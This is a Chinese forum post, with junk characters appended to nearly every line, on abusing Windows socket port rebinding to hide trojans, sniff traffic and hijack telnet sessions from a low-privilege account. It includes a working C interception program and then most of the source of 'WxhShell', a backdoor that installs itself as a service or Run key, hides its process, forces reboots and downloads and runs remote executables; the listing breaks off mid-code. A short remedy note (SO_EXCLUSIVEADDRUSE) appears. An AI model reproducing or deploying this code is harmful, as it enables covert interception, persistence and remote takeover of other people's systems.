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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: s#$t!F??9  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); MdBmq/[O  
O,%UNjx9K  
  saddr.sin_family = AF_INET; 0,hs %x>v  
{~apY,3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); A{_CU-,  
NO5k1/-  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?_H9>/:.  
@GQe-04W`  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 MHwfJ{"zo  
I9kz)Q o  
  这意味着什么?意味着可以进行如下的攻击: Dl>tF?=  
5o6IpF 0V  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <K)]kf  
vP{i+s18B  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) QSaDa@OV  
Yc#Uu8f-  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 SK}jhm"y  
Tg)F.):  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  j~'.XD={  
G 2`YZ\  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 a?gF;AYk  
~~yng-3)1  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 a 4?A 5  
i[z 2'tx4  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 RLf-Rdx/  
Ug*B[q/  
  #include W B:0}b0Gu  
  #include ?;tPqOs&  
  #include rQv5uoD  
  #include    hk !=ZE3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Mmz; uy_  
  int main() % Z6Q/+#fn  
  { 8*-)[+s9il  
  WORD wVersionRequested; !w7/G  
  DWORD ret; /3)\^Pof  
  WSADATA wsaData; 8cO?VH,nk  
  BOOL val; [>NMuwtG  
  SOCKADDR_IN saddr; AYf}=t|  
  SOCKADDR_IN scaddr; =Ji[ ;wy@  
  int err; @. sn  
  SOCKET s; X&[Zk5DU*  
  SOCKET sc; ]2u   
  int caddsize; {)Wf[2zJ  
  HANDLE mt; [w}-)&c  
  DWORD tid;   qz- tXc ,  
  wVersionRequested = MAKEWORD( 2, 2 ); |}{gE=]  
  err = WSAStartup( wVersionRequested, &wsaData ); ^m7y=CJM  
  if ( err != 0 ) { o;c"-^>  
  printf("error!WSAStartup failed!\n"); W$]qo|2P  
  return -1; Fepsa;\sU  
  } >-c?+oy  
  saddr.sin_family = AF_INET; &Sb)a  
   qBF|' .$^  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #;99vwc  
]$#bNt/p  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); = V')}f~C  
  saddr.sin_port = htons(23); NtGJpT4YX  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *& w/*h$!  
  { n U=  
  printf("error!socket failed!\n"); ]ovtH .y  
  return -1; ZeG4z({af  
  } Qc Wg  
  val = TRUE; Wx}-H/t'2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 }bi hlyB&Q  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Lp%J:ogV`  
  { $<nD-4p  
  printf("error!setsockopt failed!\n"); )z&C&Gqz  
  return -1; m>Z3p7!N}  
  } @D[+@N  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; F&`%L#s|  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 N5W!(h)  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 MMO/vJC  
G5|nt#>  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ("(wap~<nD  
  { [.Fm-$M-  
  ret=GetLastError(); 3 }sy{Mx%9  
  printf("error!bind failed!\n"); "%Ief4  
  return -1; 'uzHI@i  
  } x?rd9c  
  listen(s,2); KtJc9dnX  
  while(1) i{9.bpp/  
  { Mq\?J{E  
  caddsize = sizeof(scaddr); w^cQL%  
  //接受连接请求 Gv]94$'J9  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); oNYFbZw  
  if(sc!=INVALID_SOCKET) 6Ik v}q_j  
  { daCkjDGl\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Hi2JG{i  
  if(mt==NULL) 'A3*[e|OS  
  { pub?%  
  printf("Thread Creat Failed!\n"); yD$d^/:  
  break; 45BpZ~-  
  } fHwS12SB  
  } Ik, N/[  
  CloseHandle(mt); N2|NYDQs  
  } g0QYBrp  
  closesocket(s); 2zbn8tO  
  WSACleanup(); vo:h"ti  
  return 0; M%$ITE  
  }   h'GOO(  
  DWORD WINAPI ClientThread(LPVOID lpParam) uwi.Sg11  
  { 4Q1R:Ra  
  SOCKET ss = (SOCKET)lpParam; , ExY.'%1  
  SOCKET sc; 0,&] 2YJ  
  unsigned char buf[4096]; Jq"3xj   
  SOCKADDR_IN saddr; !K2QD[x  
  long num; O`!XW8  
  DWORD val; `|&0j4(Pg  
  DWORD ret; 7/KK}\NE  
  //如果是隐藏端口应用的话,可以在此处加一些判断 *q\>DE=7  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Ps(oxj7  
  saddr.sin_family = AF_INET; '"c`[L7Wn  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Hj1?c,mo4  
  saddr.sin_port = htons(23); A|4 3W =  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) aMT=pGU  
  { C]3:&dx9  
  printf("error!socket failed!\n"); \|B\7a'4  
  return -1; U|QP] 6v  
  } q-@&n6PEOZ  
  val = 100; 6wbH{}\ll  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) XL;WU8>  
  { B>S>t5$  
  ret = GetLastError(); u|\?6fz  
  return -1; S{)K_x  
  } *)?'!  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) WlW%z(RC  
  { 9s7TLT k  
  ret = GetLastError(); w/PE)xA  
  return -1; Chad}zU`  
  } 2qVoe}F  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) sk:B; .z  
  { 0`v-pL0|  
  printf("error!socket connect failed!\n"); 9@mvG^  
  closesocket(sc); CGb4C(%-7  
  closesocket(ss); A@:U|)+4  
  return -1; 6]?W&r|0I  
  } <dVJV?i;  
  while(1) '.gi@Sr5  
  { \hEIQjfi  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 iweT @P`  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 G^.tAO5:f  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Xx2t0AIB  
  num = recv(ss,buf,4096,0); paMK]-  
  if(num>0) fz8 41 <Y  
  send(sc,buf,num,0); C9""sVs  
  else if(num==0) 5:5d=7WX  
  break; Aeo=m}C;  
  num = recv(sc,buf,4096,0); yh|+Usa  
  if(num>0) xsy45az<ip  
  send(ss,buf,num,0); ( *K)D$y  
  else if(num==0) O(e!Vx{t!  
  break; M)Z!W3  
  } x;/dSfv_  
  closesocket(ss); >Y+m54EE  
  closesocket(sc); gNDMJ^`  
  return 0 ; t. (6tL]  
  } =8rNOi  
>pJ#b=  
;kR=vv  
========================================================== 3J/l>1[  
)iK:BL*Nw  
下边附上一个代码,,WXhSHELL cW"DDm g  
jP2#w{xq  
========================================================== |b^UPrz)VS  
$A/?evJi8R  
#include "stdafx.h" Gxxz4    
e"{"g[b/7  
#include <stdio.h> >p;&AaXkoG  
#include <string.h> R9"}-A  
#include <windows.h> 8Z "f"  
#include <winsock2.h> G$QN_h,}  
#include <winsvc.h> R?tjobk!  
#include <urlmon.h> UlNV%34"  
!#*#jixo  
#pragma comment (lib, "Ws2_32.lib") /iAhGY  
#pragma comment (lib, "urlmon.lib") ~_F;>N~  
sX*L[3!vN  
#define MAX_USER   100 // 最大客户端连接数 JL{fW>5y|  
#define BUF_SOCK   200 // sock buffer TXf60{:f  
#define KEY_BUFF   255 // 输入 buffer Dfc% jWbA  
GK3T w  
#define REBOOT     0   // 重启 z}Us+>z+jc  
#define SHUTDOWN   1   // 关机 ,`k6 @4  
Br42Qo2"T>  
#define DEF_PORT   5000 // 监听端口 i3d 2+N`  
&5z9C=]e  
#define REG_LEN     16   // 注册表键长度 bKzG5|Qu  
#define SVC_LEN     80   // NT服务名长度 D&G?Klq  
Uq{$j5p8  
// 从dll定义API @#-\ BQ;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =YfzB!ld  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); j(K)CHH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); FU J<gqL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :=5X)10  
_' X  
// wxhshell配置信息 261? 8&c  
struct WSCFG { "M\rO!f:  
  int ws_port;         // 监听端口 _O11SiP]  
  char ws_passstr[REG_LEN]; // 口令 GRVF/hPn  
  int ws_autoins;       // 安装标记, 1=yes 0=no mpVD;)?JmM  
  char ws_regname[REG_LEN]; // 注册表键名 FKL@,>!<e  
  char ws_svcname[REG_LEN]; // 服务名 /lPnf7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 l]Xbd{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #n15_cd  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zxH<~2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no k'PvQl"I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" a^E>LJL  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Sl'$w4s   
~-uf%=  
}; ^6F, lS_t  
~RwoktO  
// default Wxhshell configuration :F#^Q%-IS  
struct WSCFG wscfg={DEF_PORT, H+]h+K9\7  
    "xuhuanlingzhe", 7/k7V)  
    1, pFZ$z?lI  
    "Wxhshell", 1[#sHj$Na`  
    "Wxhshell", $ <C",&  
            "WxhShell Service", |%fNLUJ)  
    "Wrsky Windows CmdShell Service", SDNRcSbOD6  
    "Please Input Your Password: ", ?*r%*CL  
  1, BYHyqpP9  
  "http://www.wrsky.com/wxhshell.exe", r$'.$k\  
  "Wxhshell.exe" f#m@eb  
    }; o"z;k3(i$7  
Qp)?wny4  
// 消息定义模块 |`Yn'Mj8rm  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tX@y ]"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; MU2kA&LH  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W&D{0i`y  
char *msg_ws_ext="\n\rExit."; ?m7i7Dz   
char *msg_ws_end="\n\rQuit."; 2G!z/OAj  
char *msg_ws_boot="\n\rReboot..."; 9HiyN>(  
char *msg_ws_poff="\n\rShutdown..."; ; lrO?sm  
char *msg_ws_down="\n\rSave to "; CR2.kuM0~  
.f. tPm  
char *msg_ws_err="\n\rErr!"; C.LAr~P  
char *msg_ws_ok="\n\rOK!"; {D(l#;,iX2  
`k8jFB C  
char ExeFile[MAX_PATH]; 2Q@Jp`# ,4  
int nUser = 0; h6<i,1gQ1  
HANDLE handles[MAX_USER]; [cZ/)tm  
int OsIsNt; <RbfW'<G  
4KSq]S.  
SERVICE_STATUS       serviceStatus; V>Xg\9B_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ydY 7 :D  
vlZmmQeJm  
// 函数声明 t l7:L>  
int Install(void); =A{'57yP  
int Uninstall(void); 61&{I>~1  
int DownloadFile(char *sURL, SOCKET wsh); k q?:<!z  
int Boot(int flag);  iycceZ  
void HideProc(void); Fv$w:r]q6  
int GetOsVer(void); G,^ ?qbHg  
int Wxhshell(SOCKET wsl); ^-n^IR}J  
void TalkWithClient(void *cs); _5(p=Zc  
int CmdShell(SOCKET sock); x5pu+-h  
int StartFromService(void); yM9>)SE5`  
int StartWxhshell(LPSTR lpCmdLine); <gH-`3 J6  
V51kX{S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V lO^0r^z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $3&XM  
+t&)Z  
// 数据结构和表定义 _LfbEv<,T  
SERVICE_TABLE_ENTRY DispatchTable[] = On!+7is'  
{ |JWYsqJ0U  
{wscfg.ws_svcname, NTServiceMain}, ][V`ym-e  
{NULL, NULL} @icw:68  
}; )1@%!fr  
Iw( wT_  
// 自我安装 /n>vPJvz  
int Install(void) ;~[}B v  
{ P ecZuv  
  char svExeFile[MAX_PATH]; @]}/vsI m  
  HKEY key; TqV^\C?  
  strcpy(svExeFile,ExeFile); t98S[Z(-%+  
K]M@t=  
// 如果是win9x系统,修改注册表设为自启动 t:P]bp^#  
if(!OsIsNt) { 5A|d hw   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f2SJ4"X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QLHEzEvf{/  
  RegCloseKey(key); gN[t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n4 N6]W\5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o]qwN:8^  
  RegCloseKey(key); NRT]dYf"z  
  return 0; 8<C@I/  
    } h?B1Emlq  
  } 3b_/QT5!  
} :5T=y @  
else { >mJ`904L  
6o9&FU  
// 如果是NT以上系统,安装为系统服务 HUCJA-OZGL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tf8xc  
if (schSCManager!=0) ,mi7WW9  
{ VGxab;#,:3  
  SC_HANDLE schService = CreateService E?KPez  
  ( g`C8ouy  
  schSCManager, I2SH j6 -  
  wscfg.ws_svcname, 98?O[=  
  wscfg.ws_svcdisp, 1MnC5[Q  
  SERVICE_ALL_ACCESS, \awkt!Wa  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Y hmveV  
  SERVICE_AUTO_START, a'Zw^g  
  SERVICE_ERROR_NORMAL, r#& JfAo  
  svExeFile, kz6fU\U  
  NULL, {.KD#W $5  
  NULL, /'_<~A  
  NULL, L%{YLl-zf]  
  NULL, E.ji;5  
  NULL $Z w +"AA  
  ); >BK/HuS  
  if (schService!=0) +_bxza(ma{  
  { 4(oU88 z  
  CloseServiceHandle(schService); {[Y7h}7  
  CloseServiceHandle(schSCManager); .\ya  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Zby3.=.e  
  strcat(svExeFile,wscfg.ws_svcname); AL,7rYZG$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { OW@)6   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dtfOFag4_  
  RegCloseKey(key); |s(Ih_Zn  
  return 0; `#8kJt  
    } fR{_P  
  } 3T,[  
  CloseServiceHandle(schSCManager); %l a1-r~  
} ElDeXLr'  
} )rAJ>;  
^?sP[;8S!  
return 1; )X|)X,~+-  
} =2=rPZw9  
FkuD Gg~a  
// 自我卸载 o~\.jQQxa  
int Uninstall(void) JsuI&v  
{ f_xvXf:  
  HKEY key; "p|.[d  
hAc|a9 o  
if(!OsIsNt) { tK/,U =+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j|&D(]W/  
  RegDeleteValue(key,wscfg.ws_regname); 4KR`  
  RegCloseKey(key); ~I;x_0iY4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;fW~Gb?"  
  RegDeleteValue(key,wscfg.ws_regname); U$+,|\9  
  RegCloseKey(key); /J/V1dC}]D  
  return 0; Z2})n -  
  } jn(!6\n"  
} }79jyS-e  
} 'xG J;pY  
else { 4Otq3s34FT  
*>mjUT}cP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }d>.Nj#zh  
if (schSCManager!=0) ' 7oCWHq[  
{ _E'}8.#{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _6r[msH"  
  if (schService!=0) ZN;ondp4  
  { I%Yq86  
  if(DeleteService(schService)!=0) { qGMU>J.;c  
  CloseServiceHandle(schService); a@|H6:|  
  CloseServiceHandle(schSCManager); r6 3l(  
  return 0; !m9hL>5vR  
  } 2YY4 XHQS  
  CloseServiceHandle(schService); ,]:< l  
  } 5Ww,vSCV)  
  CloseServiceHandle(schSCManager); ^gp]tAf  
} )8#-IXxp  
} !z4I-a  
rCczQ71W  
return 1; ZX`x9/0&  
} c_+fA  
b1i~F45h  
// 从指定url下载文件 R13k2jLSQ  
int DownloadFile(char *sURL, SOCKET wsh) %k['<BYG<  
{ B; NK\5>  
  HRESULT hr; WoGnJ0N q  
char seps[]= "/"; SG\ /m'F  
char *token; ocK4Nxs  
char *file; t1mG]  
char myURL[MAX_PATH]; LA59O@r  
char myFILE[MAX_PATH]; Z]TQ+9t  
9e>2kd  
strcpy(myURL,sURL); mk!8>XvM  
  token=strtok(myURL,seps); fS|e{!iI"  
  while(token!=NULL) VBDb K|  
  { t g-(e=S4P  
    file=token; VWK/(>TP  
  token=strtok(NULL,seps); 2 YWO'PL  
  } >yT1oD0+x  
N5=}0s]e  
GetCurrentDirectory(MAX_PATH,myFILE); g4Dck4^!4  
strcat(myFILE, "\\"); H*3u]Ebh  
strcat(myFILE, file); Hmhsb2`\  
  send(wsh,myFILE,strlen(myFILE),0); NopfL  
send(wsh,"...",3,0); StTxga|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2~g-k 3  
  if(hr==S_OK) *dBmb  
return 0; l$c/!V[3  
else v*JKLA  
return 1; 7SYe:^Dx  
)T gfd5B  
} o_Y?s+~i[/  
x$TL j  
// 系统电源模块 5MCgmF*Y2  
int Boot(int flag) :PY8)39@K  
{ CW8YNJ'  
  HANDLE hToken; 5? Y(FhnIC  
  TOKEN_PRIVILEGES tkp; 1'TS!/ll];  
KV&6v`K/N  
  if(OsIsNt) { tCR~z1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); yW7>5r  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); w?nSQBz$  
    tkp.PrivilegeCount = 1; qyKR]%yzi  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3y2L! &'z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .:Wp9M  
if(flag==REBOOT) { f!5w+6(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) G}NqVbZ9]  
  return 0; ]=xX_  
} '3Fb[md54  
else {  #X$s5H  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Zj ^e8u=T  
  return 0; Gkfzb>_V]  
} -}oH],C  
  } a"g\f{v0AR  
  else { S-Vxlku]  
if(flag==REBOOT) { bv hV  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Em{;l:;(W  
  return 0; FrLv%tK|  
} *L*{FnsV  
else { !-%%94Q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k_?OEkgUh  
  return 0; Nqd9)WQ  
} ".( G,TW  
} la 0:jO5  
IFa~`Gf[  
return 1; xy&*s\=:  
} wzoT!-_X  
PX/^*  
// win9x进程隐藏模块 Lrr(7cH,  
void HideProc(void) eIlovq/X  
{ LZs'hA<L  
oGg<s3;UND  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); QpoC-4F  
  if ( hKernel != NULL ) Tl]yl$  
  { w&VDe(:~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); itiSZL,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >T0`( #Lm  
    FreeLibrary(hKernel); s+&0Z3+  
  } Q:y'G9b  
o^owv(  
return; .We{W{  
} D,=#SBJ:Z  
>+!Ef  
// 获取操作系统版本 h>!9N dzG  
int GetOsVer(void) UYW'pV  
{ `Nz`5}8.?  
  OSVERSIONINFO winfo; 1B~Z1w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `@0AGSzUv  
  GetVersionEx(&winfo); 7;Q4k"h  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3QdCu<eBZ  
  return 1; ^%LyT!y  
  else S>j.i  
  return 0; %S$$*|_G  
} G)Y,*.,  
qFq$a9w|@  
// 客户端句柄模块 > XM]UdP  
int Wxhshell(SOCKET wsl) pDvznpQ  
{ d 792#Dc  
  SOCKET wsh; :l iDoGDi  
  struct sockaddr_in client; cJTwgm?  
  DWORD myID; kh#fUAt  
),xD5~_=q  
  while(nUser<MAX_USER) &"J;  
{ wg\ p&avvb  
  int nSize=sizeof(client); \ptjnwC^O  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); SN\c 2^#  
  if(wsh==INVALID_SOCKET) return 1; /s=veiH  
H?xY S| n  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M#m;jJqON  
if(handles[nUser]==0) "J+4  
  closesocket(wsh); _F|}=^Z`  
else L<Z,@q `  
  nUser++; O.xtY @'"  
  } /5j5\F:33  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (-&d0a9N  
rcY &n^:  
  return 0; 1Ax;|.KQH  
} o[+t}hC[  
8~TKiR5  
// 关闭 socket b >k2@  
void CloseIt(SOCKET wsh) !7MRHI/0C  
{ R:R<Xt N`5  
closesocket(wsh); 8Gnf_lkI  
nUser--; \[^! ys  
ExitThread(0); &;L=f;   
} L/] (pXEp  
5/7(>ivn  
// 客户端请求句柄 mw;4/ /R  
void TalkWithClient(void *cs) > TBXT+  
{ zR]!g|;f  
aW{5m@p{"  
  SOCKET wsh=(SOCKET)cs; x-%RRm<V  
  char pwd[SVC_LEN]; (j??  
  char cmd[KEY_BUFF]; RtpV08s\  
char chr[1]; BzO,(bd!PI  
int i,j; ?2dI8bG  
c< MF:|(}  
  while (nUser < MAX_USER) { <'SS IMr  
2l^_OrE!  
if(wscfg.ws_passstr) { 83gWA>Odh  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~T-uk  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nhjT2Sl  
  //ZeroMemory(pwd,KEY_BUFF); P*~ vWYH9  
      i=0; @|Yn~PwKs  
  while(i<SVC_LEN) { ~ &Ne P  
-C3[:g  
  // 设置超时 ::$W .!Uv  
  fd_set FdRead; U&V u%+B  
  struct timeval TimeOut; m;MJ{"@A'  
  FD_ZERO(&FdRead); [YHtBM:y  
  FD_SET(wsh,&FdRead); =r7!QXPH}  
  TimeOut.tv_sec=8; 3]mprX'  
  TimeOut.tv_usec=0; 'Kbrz  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |l+5E   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); tkr&Fs"t+  
PS+~JwDUc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q!V:=d  
  pwd=chr[0]; ?u@jedQ  
  if(chr[0]==0xd || chr[0]==0xa) { jga\Ry=nw  
  pwd=0; Hcu!bOQ  
  break; prz COw  
  } 86Q3d%;-yo  
  i++; _Tor9Tj  
    } n-" (~  
6{1=3.CL  
  // 如果是非法用户,关闭 socket :e;6oC*"q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _r{H)}9  
} k/wD@H N  
Z}uY%]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~at@3j}W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `7: uc@  
^?+[yvq  
while(1) { ZxwrlaA  
5buW\_G)  
  ZeroMemory(cmd,KEY_BUFF); P7XZ|Td4*  
C:t>u..  
      // 自动支持客户端 telnet标准   EpMxq7*  
  j=0; [-_{3qq<e  
  while(j<KEY_BUFF) { |di(hY|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $5JeN{B  
  cmd[j]=chr[0]; K!&W}_@l  
  if(chr[0]==0xa || chr[0]==0xd) { WT<}3(S'?  
  cmd[j]=0; 1~L;S  
  break; ^rVHaI  
  } 0@-4.IHl  
  j++; VGeTX 4h  
    } rAu% bF  
OlRXgJ  
  // 下载文件 OA&'T*)-A6  
  if(strstr(cmd,"http://")) { <}{<FXk[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); lK=Is v+  
  if(DownloadFile(cmd,wsh)) "@eGgQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nD BWm`kN  
  else X+XDfEt:Q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yvo*^jv  
  } z!3=.D  
  else { ?K[Y"*y2  
hi!A9T3%}M  
    switch(cmd[0]) { 9AVj/?kmU  
  ? ;CIS$$r  
  // 帮助 iN Oj @3x  
  case '?': { O3o ^%0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); , yltt+ e  
    break; aKriO  
  } paIjXaU1Mb  
  // 安装 ?0/$RpFEM#  
  case 'i': { prj(  
    if(Install()) PG63{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P! +Gwm{  
    else (2# Xa,pb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }9"'' Z  
    break; ~6t!)QATnp  
    } Tx PFl7,r  
  // 卸载 9-T<gYl  
  case 'r': { n\((#<&  
    if(Uninstall()) t,f ec>.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,<%uG6/",g  
    else 4}m9,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p$ \>3\  
    break; eTp|!T  
    } 61H_o7XXk  
  // 显示 wxhshell 所在路径 @bA5uY!  
  case 'p': { Q[#}Oh6$  
    char svExeFile[MAX_PATH]; VG 5*17nf5  
    strcpy(svExeFile,"\n\r"); VBL4cU8D  
      strcat(svExeFile,ExeFile); S3Y.+. 0U  
        send(wsh,svExeFile,strlen(svExeFile),0); &'>m;W  
    break; zE/l  
    } X=#us7W}  
  // 重启 > mO*.'Gm  
  case 'b': { AZQQge  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 33DP?nI}  
    if(Boot(REBOOT)) /3aW 0/^o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =Mx"+/Yo*  
    else { 1@p,   
    closesocket(wsh); T>asH  
    ExitThread(0); LXo$\~M8G8  
    } xw9ZRu<z  
    break; ^Ye(b7Gd  
    } $"vz>SuB  
  // 关机 h}@wPP{  
  case 'd': { [<53_2]~  
